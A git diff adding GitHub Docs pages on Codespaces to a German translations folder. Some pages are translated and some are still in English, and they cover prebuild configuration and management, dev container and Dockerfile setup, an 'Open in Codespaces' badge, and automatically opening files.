+   There is a storage cost associated with each prebuild version that's retained. For example, if you are generating prebuilds in 4 regions and retaining 2 versions, you will be charged for storage of up to 8 prebuilds. For more information on billing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)."
+
+1. Optionally, add users or teams to notify when the prebuild workflow run fails for this configuration. You can begin typing a username, team name, or full name, then click the name once it appears to add them to the list. The users or teams you add will receive an email when prebuild failures occur, containing a link to the workflow run logs to help with further investigation.
+
+   ![The prebuild failure notification setting](/assets/images/help/codespaces/prebuilds-failure-notification-setting.png)
+
+1. Optionally, at the bottom of the page, click **Show advanced options**.
+
+   ![Screenshot of the prebuild configuration page, with "Show advanced options" highlighted](/assets/images/help/codespaces/show-advanced-options.png)
+
+   In the "Advanced options" section, if you select **Disable prebuild optimization**, codespaces will be created without a prebuild if the latest prebuild workflow has failed or is currently running. For more information, see "[Troubleshooting prebuilds](/codespaces/troubleshooting/troubleshooting-prebuilds#preventing-out-of-date-prebuilds-being-used)."
+
+1. Click **Create**.
+
+   {% data reusables.codespaces.prebuilds-permission-authorization %}
+
+After you create a prebuild configuration it is listed on the {% data variables.product.prodname_github_codespaces %} page of your repository settings. A {% data variables.product.prodname_actions %} workflow is queued and then run to create prebuilds in the regions you specified, based on the branch and dev container configuration file you selected. 
+
+![Screenshot of the list of prebuild configurations](/assets/images/help/codespaces/prebuild-configs-list.png)
+
+For information about editing and deleting prebuild configurations, see "[Managing prebuilds](/codespaces/prebuilding-your-codespaces/managing-prebuilds)."
+
+## Configuring environment variables
+
+To allow the prebuild process to access environment variables required to create your development environment, you can set these either as {% data variables.product.prodname_codespaces %} repository secrets or as {% data variables.product.prodname_codespaces %} organization secrets. For more information, see "[Adding secrets for a repository](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces#adding-secrets-for-a-repository)" and "[Adding secrets for an organization](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces#adding-secrets-for-an-organization)." 
+
+Secrets that you create in this way will be accessible by anyone who creates a codespace from this repository. If you do not want this, you can alternatively set the `CODESPACES_PREBUILD_TOKEN` secret. The `CODESPACES_PREBUILD_TOKEN` secret is only used for prebuilding and its value is not accessible in users' codespaces. 
+
+Prebuilds cannot use any user-level secrets while building your environment, because these are not available until after the codespace has been created.
+
+## Configuring time-consuming tasks to be included in the prebuild
+
+You can use the `onCreateCommand` and `updateContentCommand` commands in your `devcontainer.json` to include time-consuming processes as part of the prebuild creation. For more information, see the {% data variables.product.prodname_vscode %} documentation, "[devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts)."
+
+`onCreateCommand` is run only once, when the prebuild is created, whereas `updateContentCommand` is run at creation of the prebuild and at subsequent updates to it. Incremental builds should be included in `updateContentCommand` since they represent the source of your project and need to be included for every prebuild update.
+
+## Further reading
+
+- "[Allowing a prebuild to access other repositories](/codespaces/prebuilding-your-codespaces/allowing-a-prebuild-to-access-other-repositories)"
+- "[Troubleshooting prebuilds](/codespaces/troubleshooting/troubleshooting-prebuilds)"
diff --git a/translations/de-DE/content/codespaces/prebuilding-your-codespaces/index.md b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/index.md
new file mode 100644
index 0000000000..16fb72597e
--- /dev/null
+++ b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/index.md
@@ -0,0 +1,24 @@
+---
+title: Vordefinieren von Codespaces
+intro: 'Um die Erstellung von Codespaces zu beschleunigen, kannst du dein Projekt so konfigurieren, dass Codespaces für bestimmte Branches in bestimmten Regionen vordefiniert werden.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+redirect_from:
+  - /codespaces/customizing-your-codespace/prebuilding-codespaces-for-your-project
+children:
+  - /about-github-codespaces-prebuilds
+  - /configuring-prebuilds
+  - /allowing-a-prebuild-to-access-other-repositories
+  - /managing-prebuilds
+  - /testing-dev-container-changes
+ms.openlocfilehash: 67f9051b9e33a7088f4f2ed3d1951babb4b61abe
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148160209'
+---
+
diff --git a/translations/de-DE/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md
new file mode 100644
index 0000000000..d8302ff3d2
--- /dev/null
+++ b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/managing-prebuilds.md
@@ -0,0 +1,98 @@
+---
+title: Managing prebuilds
+shortTitle: Manage prebuilds
+intro: 'You can review, modify, and delete the prebuild configurations for your repository.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+miniTocMaxHeadingLevel: 3
+---
+
+## Checking, changing, and deleting your prebuild configurations
+
+The prebuilds that you configure for a repository are created and updated using a {% data variables.product.prodname_actions %} workflow, managed by the {% data variables.product.prodname_github_codespaces %} service. 
+
+Depending on the settings in a prebuild configuration, the workflow to update the prebuild may be triggered by these events:
+
+* Creating or updating the prebuild configuration
+* Pushing a commit or a pull request to a branch that's configured to have prebuilds
+* Changing any of the dev container configuration files
+* A schedule that you've defined in the prebuild configuration
+* Manually triggering the workflow
+
+The settings in the prebuild configuration determine which events automatically trigger an update of the prebuild. For more information, see "[Configuring prebuilds](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds)." 
+
+People with admin access to a repository can check the progress of prebuilds, edit, and delete prebuild configurations. 
+
+### Viewing the progress of prebuilds
+You can view the current status of the latest workflow run for each prebuild configuration you've set up on the {% data variables.product.prodname_github_codespaces %} page of your repository settings. For example, "Currently running" or "Last run 1 hour ago."
+
+To see the log output for the latest prebuild workflow run, click **See output**.
+
+![The 'See output' button](/assets/images/help/codespaces/prebuilds-see-output.png) 
+
+This displays the output of the most recent run of the workflow in the **Actions** tab.
+
+![The prebuild workflow output](/assets/images/help/codespaces/prebuilds-log-output.png) 
+
+Alternatively, to view all prebuild workflow runs associated with the specified branch, click the ellipsis button and choose **View runs** from the dropdown menu.
+
+![The 'View runs' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-view-runs.png) 
+
+This displays the workflow run history for prebuilds for the associated branch.
+
+![The workflow run history](/assets/images/help/codespaces/prebuilds-workflow-runs.png) 
+
+### Editing a prebuild configuration
+
+1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to edit.
+1. In the dropdown menu, click **Edit**.
+ 
+   ![The 'Edit' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-edit.png) 
+
+1. Make the required changes to the prebuild configuration, then click **Update**. 
+
+   {% data reusables.codespaces.prebuilds-permission-authorization %}
+
+
+### Disabling a prebuild configuration
+
+To pause the update of prebuilds for a configuration, you can disable workflow runs for the configuration. Disabling the workflow runs for a prebuild configuration does not delete any previously created prebuilds for that configuration and, as a result, codespaces will continue to be generated from an existing prebuild.
+
+Disabling the workflow runs for a prebuild configuration is useful if you need to investigate prebuild creation failures.
+
+1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to disable.
+1. In the dropdown menu, click **Disable runs**.
+
+   ![The 'Disable runs' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-disable.png)
+
+1. To confirm that you want to disable this configuration, click **OK**.
+
+### Deleting a prebuild configuration
+
+Deleting a prebuild configuration also deletes all previously created prebuilds for that configuration. As a result, shortly after you delete a configuration, prebuilds generated by that configuration will no longer be available when you create a new codespace.
+
+After you delete a prebuild configuration, workflow runs for that configuration that have been queued or started will still run. They will be listed in the workflow run history, along with previously completed workflow runs.
+
+1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration you want to delete.
+1. In the dropdown menu, click **Delete**.
+
+   ![The 'Delete' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-delete.png)
+
+1. Click **OK** to confirm the deletion.
+
+### Manually trigger prebuilds
+
+It may be useful to manually trigger a workflow run for a prebuild configuration. Generally this is only necessary if you are debugging a problem with the workflow for a prebuild configuration.
+
+1. On the {% data variables.product.prodname_codespaces %} page of your repository settings, click the ellipsis to the right of the prebuild configuration whose workflow you want to trigger.
+1. In the dropdown menu, click **Manually trigger**.
+
+   ![The 'Manually trigger' option in the dropdown menu](/assets/images/help/codespaces/prebuilds-manually-trigger.png) 
+
+## Further reading
+
+- "[Troubleshooting prebuilds](/codespaces/troubleshooting/troubleshooting-prebuilds)"
diff --git a/translations/de-DE/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md
new file mode 100644
index 0000000000..4e4ab8f800
--- /dev/null
+++ b/translations/de-DE/content/codespaces/prebuilding-your-codespaces/testing-dev-container-changes.md
@@ -0,0 +1,37 @@
+---
+title: Testen von Änderungen der Dev-Containerkonfiguration für einen Branch mit Prebuildunterstützung
+shortTitle: Test dev container changes
+allowTitleToDifferFromFilename: true
+intro: 'Wenn du die Konfiguration des Entwicklungscontainers für einen Branch änderst, der für Prebuilds aktiviert ist, musst du deine Änderungen in einem Codespace testen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+permissions: People with write permissions to a repository can create or edit the dev container configuration for a branch.
+ms.openlocfilehash: 29b44d0fb0b3bb3211f0c204cc7e99e39ab89b79
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159566'
+---
+Alle Änderungen, die du an der Dev-Containerkonfiguration für einen Branch mit Prebuildunterstützung vornimmst, führen zu einer Aktualisierung der Codespacekonfiguration und des zugeordneten Prebuilds. Daher ist es wichtig, solche Änderungen in einem Codespace von einem Testbranch aus zu testen, bevor du deine Änderungen an einen aktiv verwendeten Branch deines Repositorys committest. Dadurch wird sichergestellt, dass du keine Breaking Changes für dein Team einführst.
+
+Weitere Informationen findest du unter [Einführung in Entwicklungscontainer](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers).
+
+## Testen von Änderungen an der Dev-Containerkonfiguration
+
+1. Erstelle einen Codespace aus dem Branch mit Prebuildunterstützung, dessen Dev-Container du ändern möchtest. Weitere Informationen findest du unter [Erstellen eines Codespaces für ein Repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository).
+1. Checke im Codespace einen Testbranch aus. Weitere Informationen findest du unter [Verwenden der Quellcodeverwaltung in deinem Codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#creating-or-switching-branches).
+1. Nimm die erforderlichen Änderungen an der Dev-Containerkonfiguration vor.
+1. Wende die Änderungen an, indem du den Container neu erstellst. Weitere Informationen findest du unter [Einführung in Entwicklungscontainer](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace).
+1. Nachdem alles gut aussieht, solltest du auch einen neuen Codespace von deinem Testbranch aus erstellen, um sicherzustellen, dass alles funktioniert. Anschließend kannst du deine Änderungen an den Standardbranch deines Repositorys oder einen aktiven Featurebranch committen, um eine Aktualisierung des Prebuilds für diesen Branch auszulösen.
+
+   {% note %}
+   
+   **Hinweis**: Das Erstellen dieses Codespace dauert länger als üblich, da er nicht aus einem Prebuild erstellt wird.
+   
+   {% endnote %}
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md
new file mode 100644
index 0000000000..36e4e0ae51
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/adding-a-codespaces-badge.md
@@ -0,0 +1,59 @@
+---
+title: Adding an "Open in GitHub Codespaces" badge
+shortTitle: Add a Codespaces badge
+intro: You can add a badge to a Markdown file in your repository which people can click to create a codespace.
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+---
+
+## Overview
+
+Adding an "Open in {% data variables.product.prodname_github_codespaces %}" badge to a Markdown file gives people an easy way to create a codespace for your repository.
+
+![Screenshot of a Codespaces badge on a README page](/assets/images/help/codespaces/codespaces-badge-on-readme.png)
+
+When you create a badge you can choose specific configuration options for the codespace that the badge will create.
+
+When people click the badge they'll be taken to the advanced options page for codespace creation, with the options you chose preselected. For more information about the advanced options page, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
+
+From the advanced options page, users can change the preselected settings if required, then click **Create codespace**.
+
+## Creating an "Open in {% data variables.product.prodname_github_codespaces %}" badge
+
+{% data reusables.repositories.navigate-to-repo %}
+1. Under the repository name, use the "Branch" dropdown menu, and select the branch you want to create the badge for.
+
+   ![Screenshot of the Branch dropdown menu](/assets/images/help/codespaces/branch-drop-down.png)
+
+1. Click the **{% octicon "code" aria-label="The code icon" %} Code** button, then click the **Codespaces** tab.
+
+   ![Screenshot of the New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+
+1. Click the ellipsis (**...**) at the top right of the **Codespaces** tab, then click **New with options**.
+
+   ![Screenshot of the "Configure and create codespace" option](/assets/images/help/codespaces/default-machine-type.png)
+
+1. On the advanced options page for codespace creation, select the values you want to be preselected in each field.
+
+   ![Screenshot of the advanced options page](/assets/images/help/codespaces/advanced-options.png)
+
+1. Copy the URL from the browser's address bar.
+1. Add the following Markdown to, for example, the `README.md` file of your repository:
+
+   ```Markdown{:copy}
+   [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](COPIED-URL)
+   ```
+
+   For example:
+
+   ```Markdown
+   [![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://github.com/codespaces/new?hide_repo_select=true&ref=main&repo=0000000&machine=premiumLinux&devcontainer_path=.devcontainer%2Fdevcontainer.json&location=WestUs2)
+   ```
+
+   In the above example, `0000000` will be the reference number of your repository. The other details in the URL are determined by the values you selected in the fields on the advanced options page.
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository.md
new file mode 100644
index 0000000000..a2e19704c3
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/automatically-opening-files-in-the-codespaces-for-a-repository.md
@@ -0,0 +1,55 @@
+---
+title: Automatisches Öffnen von Dateien in den Codespaces für ein Repository
+shortTitle: Automatically opening files
+intro: 'Du kannst festlegen, dass bestimmte Dateien automatisch geöffnet werden, wenn jemand einen Codespace für dein Repository erstellt und den Codespace im {% data variables.product.prodname_vscode %}-Webclient öffnet.'
+permissions: People with write permissions to a repository can create or edit the codespace configuration.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+ms.openlocfilehash: a57b76eda4bfc47071f3cfeade8f50afde9e01e6
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: '148114034'
+---
+## Übersicht
+
+Wenn Benutzer*innen beim Erstellen eines Codespaces für dein Repository eine bestimmte Datei angezeigt werden soll, kannst du festlegen, dass diese automatisch im {% data variables.product.prodname_vscode_shortname %}-Webclient geöffnet wird. Diese Einstellung kannst du in der Konfigurationsdatei des Entwicklungscontainers für dein Repository vornehmen. 
+
+Die von dir angegebenen Dateien werden nur geöffnet, wenn ein Codespace zum ersten Mal im Webclient geöffnet wird. Wenn ein*e Benutzer*in die angegebenen Dateien schließt, werden diese nicht automatisch erneut geöffnet, wenn diese*r den Codespace das nächste Mal öffnet oder neu startet.
+
+{% note %}
+
+**Hinweis**: Diese Automatisierung gilt nur für den {% data variables.product.prodname_vscode_shortname %}-Webclient, nicht für die {% data variables.product.prodname_vscode_shortname %}-Desktopanwendung oder andere unterstützte Editors.
+
+{% endnote %}
+
+## Festlegen der automatischen Dateiöffnung
+
+{% data reusables.codespaces.edit-devcontainer-json %}
+1. Bearbeite die `devcontainer.json`-Datei, und füge eine `customizations.codespaces.openFiles`-Eigenschaft hinzu. Die `customizations`-Eigenschaft befindet sich innerhalb des umschließenden JSON-Objekts am Anfang der Datei. Beispiel:
+
+   ```json{:copy}
+   "customizations": {
+     "codespaces": {
+       "openFiles": [
+         "README.md",
+         "scripts/tsconfig.json",
+         "docs/main/CODING_STANDARDS.md"
+       ]
+     }
+   }
+   ```
+
+   Der Wert der `openFiles`-Eigenschaft ist ein Array aus mindestens einer Datei in deinem Repository. Die Pfade sind relativ zum Stammverzeichnis des Repositorys (absolute Pfade werden nicht unterstützt). Die Dateien werden im Webclient in der angegebenen Reihenfolge geöffnet, wobei die erste Datei im Array im Editor angezeigt wird.
+   
+1. Speichere die Datei, und committe deine Änderungen in den gewünschten Branch des Repositorys.
+
+## Weitere Informationsquellen
+
+- [Einführung in Entwicklungscontainer](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/index.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/index.md
new file mode 100644
index 0000000000..a26e161947
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/index.md
@@ -0,0 +1,30 @@
+---
+title: 'Einrichten deines Repositorys für {% data variables.product.prodname_github_codespaces %}'
+shortTitle: Setting up your repository
+allowTitleToDifferFromFilename: true
+intro: 'Erfahre, wie du mit {% data variables.product.prodname_github_codespaces %} loslegen kannst, einschließlich Einrichtung und Konfiguration für bestimmte Sprachen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /codespaces/getting-started-with-codespaces
+children:
+  - /introduction-to-dev-containers
+  - /setting-up-your-project-for-codespaces
+  - /setting-up-your-nodejs-project-for-codespaces
+  - /setting-up-your-dotnet-project-for-codespaces
+  - /setting-up-your-java-project-for-codespaces
+  - /setting-up-your-python-project-for-codespaces
+  - /setting-a-minimum-specification-for-codespace-machines
+  - /adding-features-to-a-devcontainer-file
+  - /automatically-opening-files-in-the-codespaces-for-a-repository
+  - /adding-a-codespaces-badge
+  - /setting-up-a-template-repository-for-github-codespaces
+ms.openlocfilehash: 05fc3519aa856944ffaf105d3a847abd1b51577f
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148158701'
+---
+
diff --git a/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md
new file mode 100644
index 0000000000..70f431a081
--- /dev/null
+++ b/translations/de-DE/content/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers.md
@@ -0,0 +1,240 @@
+---
+title: Introduction to dev containers
+intro: 'When you work in a codespace, the environment you are working in is created using a development container, or dev container, hosted on a virtual machine.'
+permissions: People with write permissions to a repository can create or edit the codespace configuration.
+redirect_from:
+  - /github/developing-online-with-github-codespaces/configuring-github-codespaces-for-your-project
+  - /codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project
+  - /github/developing-online-with-codespaces/configuring-codespaces-for-your-project
+  - /codespaces/customizing-your-codespace/configuring-codespaces-for-your-project
+  - /codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+  - Fundamentals
+---
+
+## About dev containers
+
+Development containers, or dev containers, are Docker containers that are specifically configured to provide a fully featured development environment. Whenever you work in a codespace, you are using a dev container on a virtual machine.
+
+You can configure the dev container for a repository so that codespaces created for that repository give you a tailored development environment, complete with all the tools and runtimes you need to work on a specific project. If you don't define a configuration in the repository then {% data variables.product.prodname_github_codespaces %} uses a default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default dev container configuration](#using-the-default-dev-container-configuration)."
+
+The configuration files for a dev container are contained in a `.devcontainer` directory in your repository. You can use {% data variables.product.prodname_vscode %} to add configuration files for you. You can choose from a selection of predefined configurations for various project types. You can use these without further configuration, or you can edit the configurations to refine the development environment they produce. For more information, see "[Using a predefined dev container configuration](#using-a-predefined-dev-container-configuration)."
+
+Alternatively, you can add your own custom configuration files. For more information, see "[Creating a custom dev container configuration](#creating-a-custom-dev-container-configuration)."
+
+You can define a single dev container configuration for a repository, different configurations for different branches, or multiple configurations. When multiple configurations are available, users can choose their preferred configuration when they create a codespace. This is particularly useful for large repositories that contain source code in different programming languages or for different projects. You can create a choice of configurations that allow different teams to work in a codespace that's set up appropriately for the work they are doing.
+
+When you create a codespace from a template, you might start with one or more dev container configuration files in your workspace. To configure your environment further, you can add or remove settings from these files and rebuild the container to apply the changes to the codespace you're working in. If you publish your codespace to a repository on {% data variables.product.product_name %}, then any codespaces created from that repository will share the configuration you've defined. For more information, see "[Applying configuration changes to a codespace](#applying-configuration-changes-to-a-codespace)" and "[Creating a codespace from a template](/codespaces/developing-in-codespaces/creating-a-codespace-from-a-template#publishing-to-a-remote-repository)."
+
+### devcontainer.json
+
+The primary file in a dev container configuration is the `devcontainer.json` file. You can use this file to determine the environment of codespaces created for your repository. The contents of this file define a dev container that can include frameworks, tools, extensions, and port forwarding. The `devcontainer.json` file usually contains a reference to a Dockerfile, which is typically located alongside the `devcontainer.json` file.
+
+If you create a codespace from a repository without a `devcontainer.json` file, or if you start from {% data variables.product.company_short %}'s blank template, the default dev container configuration is used. For more information, see "[Using the default dev container configuration](#using-the-default-dev-container-configuration)."
+
+The `devcontainer.json` file is usually located in the `.devcontainer` directory of your repository. Alternatively, you can locate it directly in the root of the repository, in which case the file name must begin with a period: `.devcontainer.json`. 
+
+If you want to have a choice of dev container configurations in your repository, any alternatives to the  `.devcontainer/devcontainer.json` (or `.devcontainer.json`) file must be located in their own subdirectory at the path `.devcontainer/SUBDIRECTORY/devcontainer.json`. For example, you could have a choice of two configurations: 
+* `.devcontainer/database-dev/devcontainer.json` 
+* `.devcontainer/gui-dev/devcontainer.json`
+
+When you have multiple `devcontainer.json` files in your repository, each codespace is created from only one of the configurations. Settings cannot be imported or inherited between `devcontainer.json` files. If a `devcontainer.json` file in a custom subdirectory has dependent files, such as the Dockerfile or scripts that are run by commands in the `devcontainer.json` file, it's recommended that you co-locate these files in the same subdirectory.
+
+For information about how to choose your preferred dev container configuration when you create a codespace, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)."
+
+{% data reusables.codespaces.more-info-devcontainer %}
+
+#### How to use the devcontainer.json
+
+It's useful to think of the `devcontainer.json` file as providing "customization" rather than "personalization." You should only include things that everyone working on your codebase needs as standard elements of the development environment, not things that are personal preferences. Things like linters are good to standardize on, and to require everyone to have installed, so they're good to include in your `devcontainer.json` file. Things like user interface decorators or themes are personal choices that should not be put in the `devcontainer.json` file.
+
+You can personalize your codespaces by using dotfiles and Settings Sync. For more information, see "[Personalizing {% data variables.product.prodname_github_codespaces %} for your account](/codespaces/customizing-your-codespace/personalizing-github-codespaces-for-your-account)."
+
+### Dockerfile
+
+You can add a Dockerfile as part of your dev container configuration. 
+
+The Dockerfile is a text file that contains the instructions needed to create a Docker container image. This image is used to generate a development container each time someone creates a codespace using the `devcontainer.json` file that references this Dockerfile. The instructions in the Dockerfile typically begin by referencing a parent image on which the new image that will be created is based. This is followed by commands that are run during the image creation process, for example to install software packages.
+
+The Dockerfile for a dev container is typically located in the `.devcontainer` folder, alongside the `devcontainer.json` in which it is referenced. 
+
+{% note %}
+
+**Note**: As an alternative to using a Dockerfile you can use the `image` property in the `devcontainer.json` file to refer directly to an existing image you want to use. The image you specify here must be allowed by any organization image policy that has been set. For more information, see "[Restricting the base image for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces)." If neither a Dockerfile nor an image is found then the default container image is used. For more information, see "[Using the default dev container configuration](#using-the-default-dev-container-configuration)."
+
+{% endnote %}
+
+#### Simple Dockerfile example
+
+The following example uses four instructions:
+
+`ARG` defines a build-time variable.
+
+`FROM` specifies the parent image on which the generated Docker image will be based.
+
+`COPY` copies a file and adds it to the filesystem. 
+
+`RUN` updates package lists and runs a script. You can also use a `RUN` instruction to install software, as shown by the commented out instructions. To run multiple commands, use `&&` to combine the commands into a single `RUN` statement.
+
+```Dockerfile{:copy}
+ARG VARIANT="16-buster"
+FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT}
+
+# [Optional] Uncomment if you want to install an additional version of node using nvm
+# ARG EXTRA_NODE_VERSION=10
+# RUN su node -c "source /usr/local/share/nvm/nvm.sh && nvm install ${EXTRA_NODE_VERSION}"
+
+# [Optional] Uncomment if you want to install more global node modules
+# RUN su node -c "npm install -g <your-package-list-here>"
+
+COPY library-scripts/github-debian.sh /tmp/library-scripts/
+RUN apt-get update && bash /tmp/library-scripts/github-debian.sh
+```
+
+For more information about Dockerfile instructions, see "[Dockerfile reference](https://docs.docker.com/engine/reference/builder)" in the Docker documentation.
+
+#### Using a Dockerfile
+
+To use a Dockerfile as part of a dev container configuration, reference it in your `devcontainer.json` file by using the `dockerfile` property.
+
+```json{:copy}
+{
+  ...
+  "build": { "dockerfile": "Dockerfile" },
+  ...
+}
+```
+
+Various options are available to you if you want to use existing container orchestration in your dev container. For more information, see the "Orchestration options" section of the [Specification](https://containers.dev/implementors/spec/#orchestration-options) on the Development Containers website.
+
+## Using the default dev container configuration
+
+If you don't define a configuration in your repository, {% data variables.product.prodname_dotcom %} creates a codespace using a default Linux image. This Linux image includes a number of runtime versions for popular languages like Python, Node, PHP, Java, Go, C++, Ruby, and .NET Core/C#. The latest or LTS releases of these languages are used. There are also tools to support data science and machine learning, such as JupyterLab and Conda. The image also includes other developer tools and utilities like Git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the URL that the command outputs.
+
+For information about what's included in the default Linux image, see the [`devcontainers/images`](https://github.com/devcontainers/images/tree/main/src/universal) repository. 
+
+The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_github_codespaces %} provides.
+
+## Using a predefined dev container configuration
+
+If you use {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}, or in a web browser, you can create a dev container configuration for your repository by choosing from a list of predefined configurations. These configurations provide common setups for particular project types, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed.
+
+Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project. For more information about the definitions of predefined dev containers, see the [`devcontainers/images`](https://github.com/devcontainers/images/tree/main/src) repository.
+
+You can add a predefined dev container configuration either while working in a codespace, or while working on a repository locally. To do this in {% data variables.product.prodname_vscode_shortname %} while you are working locally, and not connected to a codespace, you must have the "Dev Containers" extension installed and enabled. For more information about this extension, see the [{% data variables.product.prodname_vs_marketplace_shortname %}](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers). The following procedure describes the process when you are using a codespace. The steps in {% data variables.product.prodname_vscode_shortname %} when you are not connected to a codespace are very similar.
+
+{% data reusables.codespaces.command-palette-container %}
+1. Click the definition you want to use.
+
+   ![Screenshot of a list of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png)
+
+1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)."
+1. Click **OK**.
+
+   ![Screenshot of the OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
+
+1. If you are working in a codespace, apply your changes, by clicking **Rebuild now** in the message at the bottom right of the window. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-configuration-changes-to-a-codespace)."
+
+   ![Screenshot of a prompt to 'Rebuild now'](/assets/images/help/codespaces/rebuild-prompt.png)
+
+### Adding additional features to your `devcontainer.json` file
+
+{% data reusables.codespaces.about-features %} For more information, see "[Adding features to a `devcontainer.json` file](/codespaces/setting-up-your-project-for-codespaces/adding-features-to-a-devcontainer-file?tool=vscode)."
+
+## Creating a custom dev container configuration
+
+If none of the predefined configurations meets your needs, you can create a custom configuration by writing your own `devcontainer.json` file.
+
+* If you're adding a single `devcontainer.json` file that will be used by everyone who creates a codespace from your repository, create the file within a `.devcontainer` directory at the root of the repository. 
+* If you want to offer users a choice of configuration, you can create multiple custom `devcontainer.json` files, each located within a separate subdirectory of the `.devcontainer` directory.
+
+   {% note %}
+
+   **Notes**:
+   - You can't locate your `devcontainer.json` files in directories more than one level below `.devcontainer`. For example, a file at `.devcontainer/teamA/devcontainer.json` will work, but `.devcontainer/teamA/testing/devcontainer.json` will not.
+   - {% data reusables.codespaces.configuration-choice-templates %} For more information, see "[Setting up a template repository for {% data variables.product.prodname_github_codespaces %}](/codespaces/setting-up-your-project-for-codespaces/setting-up-a-template-repository-for-github-codespaces)."
+
+   {% endnote %}
+
